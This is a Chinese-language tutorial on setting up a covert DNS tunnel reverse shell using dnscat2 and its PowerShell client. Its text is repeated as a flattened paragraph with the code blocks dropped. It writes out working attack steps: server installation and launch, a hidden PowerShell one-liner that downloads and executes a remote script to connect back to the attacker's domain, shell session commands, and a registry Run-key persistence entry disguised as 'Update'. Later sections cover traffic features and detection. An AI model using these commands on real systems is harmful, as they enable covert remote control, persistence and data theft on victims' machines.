Powershell+Dnscat2实现DNS隐蔽隧道反弹Shell
字数 1721 2025-08-05 08:16:26

Powershell与Dnscat2实现DNS隐蔽隧道反弹Shell技术详解

一、技术背景与原理

DNS隐蔽隧道是一种利用DNS协议进行数据传输的技术,主要用于绕过严格的网络监控和安全策略。在安全策略严格的内网环境中,当常见C&C通讯端口被监控且只允许白名单流量出站时,DNS隧道成为建立反向Shell的有效手段。

DNS隧道工作原理

  • 利用DNS查询和响应机制传输数据
  • 将数据编码后隐藏在DNS记录中(如TXT、CNAME、MX等)
  • 绕过传统防火墙和IDS/IPS的检测

二、工具准备

1. 所需工具

  • Dnscat2:开源工具,使用DNS协议创建加密C&C通道
    • 项目地址:https://github.com/iagox86/dnscat2
    • 包含服务器端和客户端组件
  • dnscat2-powershell:Powershell版本的Dnscat2客户端
    • 项目地址:https://github.com/lukebaggett/dnscat2-powershell

2. 环境准备

  • 一台具有公网IP的服务器(如阿里云Ubuntu 16.04)
  • 一个可配置的域名
  • 目标Windows机器(Windows 10 x64)

三、服务器端配置

1. 服务器环境准备

# 更新系统并安装依赖
apt-get update
apt-get -y install ruby-dev git make g++
gem install bundler

2. 安装Dnscat2服务器端

git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server
bundle install

3. 域名配置

  1. 创建A记录将域名解析到服务器IP
    • 例如:ns.cirrus.[domain]3.1..***
  2. 创建NS记录将子域名解析委托给上述A记录
    • 例如:dnsch.cirrus.[domain]的NS记录指向ns.cirrus.[domain]

4. 启动Dnscat2服务器

sudo ruby ./dnscat2.rb dnsch.cirrus.[domain] -e open -c dnschcirrus --no-cache

关键参数说明

  • -c dnschcirrus:预共享密钥,用于防止中间人攻击
  • -e open:安全级别,允许客户端选择
  • --no-cache:必须添加,与powershell客户端兼容

四、客户端配置与使用

1. Powershell客户端加载方式

IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1')

2. 启动客户端命令

Start-Dnscat2 -Domain dnsch.cirrus.[domain] -PreSharedSecret dnschcirrus

完整一句话执行命令

powershell.exe -nop -w hidden -c {IEX(New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1'); Start-Dnscat2 -Domain dnsch.cirrus.[domain] -PreSharedSecret dnschcirrus}

3. 客户端参数详解

参数 说明
-Domain 服务器使用的域名
-DNSServer 指定DNS服务器(默认使用系统设置)
-PreSharedSecret 与服务器相同的预共享密钥
-LookupTypes 使用的DNS记录类型(TXT, MX, CNAME, A, AAAA)
-Delay 请求间延迟(毫秒)
-MaxRandomDelay 随机延迟最大值(毫秒)

五、交互式Shell操作

  1. 服务器端查看上线客户端:

    New window created: 1
    Session established!
    
  2. 查看当前会话:

    windows
    
  3. 进入会话:

    window -i [session_id]
    
  4. 启动交互式Shell:

    shell
    

六、持久化技术

将Powershell命令添加到开机启动项:

$command = "powershell.exe -nop -w hidden -c {IEX(New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1'); Start-Dnscat2 -Domain dnsch.cirrus.[domain] -PreSharedSecret dnschcirrus}"
$regPath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
Set-ItemProperty -Path $regPath -Name "Update" -Value $command

七、流量特征分析

1. DNS记录使用情况

  • 主要使用CNAME、MX和TXT记录
  • 数据被转换为十六进制字符串传输
    • 例如:"AAA" → "414141"
  • 域名中的小数点被忽略(41.4141 ≡ 414141)

2. 协议特点

  • 私有数据传输协议运行在DNS层之上
  • 不区分大小写(5b ≡ 5B)
  • 相比Cobalt Strike的DNS隧道,Dnscat2协议不够清晰

八、防御与检测

1. 检测方法

  • 监控异常的DNS查询模式
    • 大量TXT、CNAME记录查询
    • 长域名查询(超过正常DNS查询长度)
    • 高频DNS查询
  • 检查域名解析行为
    • 非常规子域名解析
    • 解析到非常用IP

2. 防御措施

  • 实施DNS查询过滤策略
  • 限制外部DNS查询
  • 监控和限制Powershell使用
  • 部署具有机器学习能力的DNS流量分析系统

九、技术局限性

  1. 协议容错和纠正机制不完善,可能出现不稳定情况
  2. 传输效率较低,不适合大数据量传输
  3. 需要域名和服务器支持,增加了攻击复杂度

十、实际案例

  1. FrameworkPOS木马:通过DNS隐蔽通道回传信用卡数据

    [信用卡号].exfil.dnsch.cirrus.[domain]
    
  2. Xshell后门事件:使用DGA和DNS隧道技术


注意:本文仅用于技术研究和防御知识学习,未经授权使用这些技术攻击他人系统是违法行为。

Powershell与Dnscat2实现DNS隐蔽隧道反弹Shell技术详解 一、技术背景与原理 DNS隐蔽隧道是一种利用DNS协议进行数据传输的技术,主要用于绕过严格的网络监控和安全策略。在安全策略严格的内网环境中,当常见C&C通讯端口被监控且只允许白名单流量出站时,DNS隧道成为建立反向Shell的有效手段。 DNS隧道工作原理 利用DNS查询和响应机制传输数据 将数据编码后隐藏在DNS记录中(如TXT、CNAME、MX等) 绕过传统防火墙和IDS/IPS的检测 二、工具准备 1. 所需工具 Dnscat2 :开源工具,使用DNS协议创建加密C&C通道 项目地址:https://github.com/iagox86/dnscat2 包含服务器端和客户端组件 dnscat2-powershell :Powershell版本的Dnscat2客户端 项目地址:https://github.com/lukebaggett/dnscat2-powershell 2. 环境准备 一台具有公网IP的服务器(如阿里云Ubuntu 16.04) 一个可配置的域名 目标Windows机器(Windows 10 x64) 三、服务器端配置 1. 服务器环境准备 2. 安装Dnscat2服务器端 3. 域名配置 创建A记录将域名解析到服务器IP 例如: ns.cirrus.[domain] → 3.1..*** 创建NS记录将子域名解析委托给上述A记录 例如: dnsch.cirrus.[domain] 的NS记录指向 ns.cirrus.[domain] 4. 启动Dnscat2服务器 关键参数说明 : -c dnschcirrus :预共享密钥,用于防止中间人攻击 -e open :安全级别,允许客户端选择 --no-cache :必须添加,与powershell客户端兼容 四、客户端配置与使用 1. Powershell客户端加载方式 2. 启动客户端命令 完整一句话执行命令 : 3. 客户端参数详解 | 参数 | 说明 | |------|------| | -Domain | 服务器使用的域名 | | -DNSServer | 指定DNS服务器(默认使用系统设置) | | -PreSharedSecret | 与服务器相同的预共享密钥 | | -LookupTypes | 使用的DNS记录类型(TXT, MX, CNAME, A, AAAA) | | -Delay | 请求间延迟(毫秒) | | -MaxRandomDelay | 随机延迟最大值(毫秒) | 五、交互式Shell操作 服务器端查看上线客户端: 查看当前会话: 进入会话: 启动交互式Shell: 六、持久化技术 将Powershell命令添加到开机启动项: 七、流量特征分析 1. DNS记录使用情况 主要使用CNAME、MX和TXT记录 数据被转换为十六进制字符串传输 例如:"AAA" → "414141" 域名中的小数点被忽略(41.4141 ≡ 414141) 2. 协议特点 私有数据传输协议运行在DNS层之上 不区分大小写(5b ≡ 5B) 相比Cobalt Strike的DNS隧道,Dnscat2协议不够清晰 八、防御与检测 1. 检测方法 监控异常的DNS查询模式 大量TXT、CNAME记录查询 长域名查询(超过正常DNS查询长度) 高频DNS查询 检查域名解析行为 非常规子域名解析 解析到非常用IP 2. 防御措施 实施DNS查询过滤策略 限制外部DNS查询 监控和限制Powershell使用 部署具有机器学习能力的DNS流量分析系统 九、技术局限性 协议容错和纠正机制不完善,可能出现不稳定情况 传输效率较低,不适合大数据量传输 需要域名和服务器支持,增加了攻击复杂度 十、实际案例 FrameworkPOS木马 :通过DNS隐蔽通道回传信用卡数据 Xshell后门事件 :使用DGA和DNS隧道技术 注意 :本文仅用于技术研究和防御知识学习,未经授权使用这些技术攻击他人系统是违法行为。